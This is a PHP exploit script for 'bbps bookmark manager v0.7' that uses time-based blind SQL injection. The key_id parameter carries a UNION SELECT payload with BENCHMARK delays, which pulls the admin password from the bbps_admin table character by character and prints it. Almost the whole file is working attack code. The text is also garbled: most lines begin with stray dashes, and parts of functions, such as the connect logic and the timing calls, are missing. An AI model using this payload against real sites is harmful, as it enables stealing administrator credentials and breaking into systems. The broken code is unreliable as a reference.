-
/*
-
bbps bookmark manager v0.7 - sql injection
-
homepage http://bbps.sourceforge.net/
-
demopage http://bbps.sourceforge.net/demo
-
download http://prdownloads.sourceforge.net/bbps/bbps-0.7.tar.gz
-
*/
-
-
-
-
class http_request
-
{
-
-
function __construct($type,$host,$file,$port = 80,$http_v = 'HTTP/1.1')
-
{
-
$this->host = $host;
-
$this->port = $port;
-
if(!$this->set_type($type))
-
die('sorry: please set a request type');
-
$this->file = $file;
-
$this->http_v = $http_v;
-
$this->add_header('Host',$host);
-
$this->add_header('Connection','Close');
-
}
-
-
function proxy($host,$port)
-
{
-
$this->con = @$this->connect($host,$port);
-
if(!$this->con)
-
die('sorry: the proxy on host "'.
$host.
'" did not response on port '.
$port);
-
$this->proxy_con = true;
-
}
-
-
function connect($host,$port)
-
{
-
-
die('sorry: but this is not a port');
-
preg_match('@^(?:(?:25[0-5]|2[0-4]\d|[01]\d\d|\d?\d)(?(?=\.?\d)\.)){4}$@i',
$host,
$ip);
-
if($ip[0]!='')
-
-
else
-
-
}
-
-
function send($set_ct = true)
-
{
-
if($set_ct==true)
-
$this->set_content_type();
-
if($this->proxy_con != true)
-
{
-
$this->con = @$this->connect($this->host,$this->port);
-
if(!$this->con)
-
die('sorry: "'.
$this->
host.
'" did not response on port '.
$this->
port);
-
}
-
-
$this->send_data = '';
-
$contentlength = 0;
-
-
if($this->type=='GET')
-
{
-
$get_str='';
-
foreach($this->data as $name => $value)
-
{
-
$get_str .= $name.'='.$value.'&';
-
}
-
if($get_str !='')
-
$this->
get_str =
'?'.
substr($get_str,
0,-
1);
-
}
-
else //// all other request types (POST, CONNECT ...)
-
{
-
$this->send_data ='';
-
if($this->boundary)
-
{
-
foreach($this->data as $name => $value)
-
{
-
$contentlength +=
strlen("--".
$this->
boundary.
"\nContent-Disposition: form-data; name=\"".
$name.
"\"\n\n".
$value.
"\n");
-
$this->send_data.=("--".$this->boundary."\nContent-Disposition: form-data; name=\"".$name."\"\n\n".$value."\n");
-
}
-
$contentlength +=
strlen($this->
boundary)+
3;
-
$this->add_header('Content-length',$contentlength);
-
$this->send_data.= "--".$this->boundary."--\n";
-
}
-
else
-
{
-
foreach($this->data as $name => $value)
-
{
-
$this->send_data.= $name.'='.$value.'&';
-
}
-
$this->
send_data =
substr($this->
send_data,
0,-
1);
-
$contentlength =
strlen($this->
send_data);
-
$this->add_header('Content-length',$contentlength);
-
}
-
}
-
if($this->proxy_con==true)
-
$this->send_header = $this->type.' '.'http://'.$this->host.$this->file.$this->get_str.' '.$this->http_v."\r\n";
-
else
-
$this->send_header = $this->type.' '.$this->file.$this->get_str.' '.$this->http_v."\r\n";
-
foreach($this->header as $head_name => $head_value)
-
$this->send_header .= $head_name.': '.$head_value."\r\n";
-
$this->send_header .= "\n";
-
$this->packet = $this->send_header.$this->send_data;
-
$this->send_to_host($this->packet);
-
}
-
-
function send_to_host($packet)
-
{
-
-
die('sorry: no connection');
-
fputs($this->
con,
$packet);
-
if($this->proxy_con==true)
-
{
-
$this->response='';
-
while (!
feof($this->
con)) {
-
$this->
response.=
fgets($this->
con);
-
}
-
}
-
else
-
{
-
$this->response='';
-
-
$this->
response.=
fread($this->
con,
1);
-
}
-
}
-
-
}
-
-
function set_content_type()
-
{
-
if($this->type!='GET')
-
$this->add_header('Content-Type','application/x-www-form-urlencoded');
-
}
-
-
function set_type($name)
-
{
-
-
$types =
array('GET',
'HEAD',
'POST',
'PUT',
'DELETE',
'TRACE',
'CONNECT');
-
-
{
-
$this->type = $name;
-
return true;
-
}
-
else
-
{
-
return false;
-
}
-
}
-
-
function add_data($name,$value)
-
{
-
$this->data[$name] = $value;
-
}
-
-
function add_header($name,$value)
-
{
-
$this->header[$name]=$value;
-
}
-
}
-
-
function max_arr($arr)
-
{
-
$max = 0;
-
foreach($arr as $time)
-
{
-
-
}
-
return $max;
-
}
-
-
function avg_arr($arr)
-
{
-
-
$sum = 0;
-
foreach($arr as $time)
-
{
-
$sum +=$time;
-
}
-
return ($sum/$size);
-
}
-
-
function do_it($host=127.0.0.1,$file='/macosbrain/index.php',$time_diff=4,$benchmark_loops = 999999,$debug=false)
-
{
-
$req = new http_request('GET',$host,$file);
-
$req->add_header('Accept','text/plain');
-
$req->add_header('User-Agent','Firefox/1.5.0.0');
-
$req->add_header('Referer','http://'.$host);
-
$req->add_header('Accept-Charset','ISO-8859-1,utf-8;q=0.7,*;q=0.7');
-
$req->add_data('action','list_byid');
-
$pass = '';
-
$stop = false;
-
while($stop==false){
-
-
-
for($i=97;$i <122;$i++) //A=65, a=97 Z=90, z=122
-
{
-
$req->
add_data('key_id',
rawurlencode("10) GROUP BY bbps_rel_bookmark_id union select bbps_admin_keyword_value as bbps_bookmark_id, 123,123,123,1,190806,1,0,190806,0 from bbps_admin where bbps_admin_keyword = CHAR(112,97,115,115,119,111,114,100) and if(mid(bbps_admin.bbps_admin_keyword_value,".
(strlen($pass)+
1).
",1)=char(".
$i.
"),BENCHMARK(".
$benchmark_loops.
",md5(123)),1)--"));
-
-
$starttime = $mtime[1] + $mtime[0];
-
$req->send();
-
-
$totaltime =
number_format(($mtime[1] +
$mtime[0] -
$starttime),
6);
-
$times_arr[] = $totaltime;
-
$chars_arr[$totaltime] =
chr($i);
-
if($debug==true)
-
echo chr($i).
' Processed in '.
$totaltime.
' second(s)
-
';
-
}
-
$max = max_arr($times_arr);
-
if(avg_arr($times_arr)+$time_diff <$max)
-
{
-
$pass .= $chars_arr[$max];
-
if($debug==true)
-
echo('temp pass = '.
$pass.
'
-
-----------------next char-----------------
-
');
-
}
-
else
-
$stop = true;
-
}
-
echo('possible admin password = '.
$pass);
-
}
-
do_it();
